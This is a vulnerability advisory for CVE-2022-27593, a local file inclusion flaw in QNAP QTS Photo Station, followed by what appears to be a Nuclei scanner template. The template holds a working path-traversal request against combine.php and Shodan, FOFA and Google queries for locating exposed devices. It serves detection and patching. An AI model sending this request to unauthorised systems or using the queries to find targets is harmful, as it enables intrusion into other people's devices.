QNAP QTS Photo Station External Reference is vulnerable to local file inclusion via an externally controlled reference to a resource vulnerability. If exploited, this could allow an attacker to modify system files. The vulnerability is fixed in the following versions: QTS 5.0.1: Photo Station 6.1.2 and later QTS 5.0.0/4.5.x: Photo Station 6.0.22 and later QTS 4.3.6: Photo Station 5.7.18 and later QTS 4.3.3: Photo Station 5.4.15 and later QTS 4.2.6: Photo Station 5.2.14 and later.
PoC代码[已公开]
id: CVE-2022-27593
info:
name: QNAP QTS Photo Station External Reference - Local File Inclusion
author: allenwest24
severity: critical
description: |
QNAP QTS Photo Station External Reference is vulnerable to local file inclusion via an externally controlled reference to a resource vulnerability. If exploited, this could allow an attacker to modify system files. The vulnerability is fixed in the following versions: QTS 5.0.1: Photo Station 6.1.2 and later QTS 5.0.0/4.5.x: Photo Station 6.0.22 and later QTS 4.3.6: Photo Station 5.7.18 and later QTS 4.3.3: Photo Station 5.4.15 and later QTS 4.2.6: Photo Station 5.2.14 and later.
impact: |
An attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or launch further attacks.
remediation: |
Apply the latest security patches and updates provided by QNAP to fix the local file inclusion vulnerability in QTS Photo Station.
reference:
- https://attackerkb.com/topics/7We3SjEYVo/cve-2022-27593
- https://www.qnap.com/en/security-advisory/qsa-22-24
- https://nvd.nist.gov/vuln/detail/CVE-2022-27593
- https://github.com/20142995/sectool
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
cvss-score: 9.1
cve-id: CVE-2022-27593
cwe-id: CWE-610
epss-score: 0.93416
epss-percentile: 0.99816
cpe: cpe:2.3:a:qnap:photo_station:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: qnap
product: photo_station
shodan-query:
- title:"QNAP"
- http.title:"photo station"
- http.title:"qnap"
- 'content-length: 580 "http server 1.0"'
fofa-query:
- title="photo station"
- title="qnap"
google-query:
- intitle:"qnap"
- intitle:"photo station"
tags: cve2022,cve,qnap,lfi,kev
http:
- method: GET
path:
- "{{BaseURL}}/photo/combine.php?type=javascript&g=core-r7rules/../../../hello.php."
matchers-condition: and
matchers:
- type: word
part: response
words:
- "!function(p,qa){"
- "module.exports"
- "application/javascript"
condition: and
- type: status
status:
- 200
# digest: 4a0a00473045022074fd43a87cc722eb0bafcd16372d2e33f9e32569efe4ef79123c7c30fefea177022100fb91ed9f6435e84365d772faba5be209221d2ddc931e1490a33d37639bcfc590:922c64590222798bb761d5b6d8e72950